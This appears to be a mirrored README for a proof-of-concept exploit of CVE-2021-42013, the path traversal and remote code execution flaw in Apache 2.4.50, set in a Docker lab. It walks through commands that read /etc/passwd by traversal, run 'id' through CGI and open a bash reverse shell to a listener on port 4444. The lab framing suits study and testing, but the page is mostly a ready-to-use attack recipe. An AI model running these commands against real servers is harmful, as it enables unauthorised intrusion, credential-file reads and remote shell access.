CVE-2021-42013 PoC — Apache HTTP Server 安全漏洞

来源

关联漏洞

介绍

<h1 style="font-size:10vw" align="left">CVE-2021-42013 - Apache 2.4.50 Path Traversal & Remote Code Execution (RCE)</h1>


<img src="https://img.shields.io/badge/CVSS:3.1%20Score%20-9.8 CRITICAL-red"> <img src="https://img.shields.io/badge/Maintained%3F-Yes-96c40f">


******
⚠️ *For educational and authorized security research purposes only*


## Original Exploit Authors
Very grateful to the original PoC author [Walnut Security Services Pvt. Ltd](https://github.com/walnutsecurity)


## Description
An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.


******
## Step Guides
1. First, clone the repository
    ```bash
    git clone https://github.com/asepsaepdin/CVE-2021-42013.git
    ```
    
2. Change directory
    ```bash
    cd CVE-2021-42013
    ```
    
3. Build vuln container
    ```bash
    docker build -t CVE-2021-42013 .
    ```
    
5. Run ephemeral container
    ```bash
    docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
    ```
    
6. Check container ip address
    ```bash
    docker inspect CVE-2021-42013 | grep "IPAddress"
    ```
    
7. Give executable permission to script
    ```bash
    chmod +x cve-2021-42013.sh
    ```
    
8. To test for and confirm path traversal, a valid directory needs to be discovered which in this case is configured as /icons. So, executing the following command would trigger path traversal vulnerability and print the contents of /etc/passwd:
    ```bash
    ./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
    ```
    
9. To test for and confirm remote code execution, CGI should be configured and enabled which in this case is true. So, executing the following command would trigger remote code execution and print the output of the id command:
    ```bash
    ./cve-2021-42013.sh 172.17.0.3 /bin/bash id
    ```
    
10. From an attacker perspective, remote code execution is critical to get access to an interactive shell. So, executing the following command would trigger a conventional reverse shell over tcp based on bash to attacker’s system on port 4444/tcp:
    ```bash
    ./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
    ```
    ```bash
    nc -nlvp 4444
    ```
    
 
******
## Credits
- https://github.com/walnutsecurity/cve-2021-42013
- https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- https://www.exploit-db.com/docs/50552
- https://www.exploit-db.com/exploits/50406

文件快照

 [4.0K]  /data/pocs/c4fe5570eadc6ea81e0de16a6bcbdce0f0274091
├── [ 337]  cve-2021-42013.sh
├── [ 416]  Dockerfile
├── [ 18K]  httpd.conf
└── [2.7K]  README.md

0 directories, 4 files

备注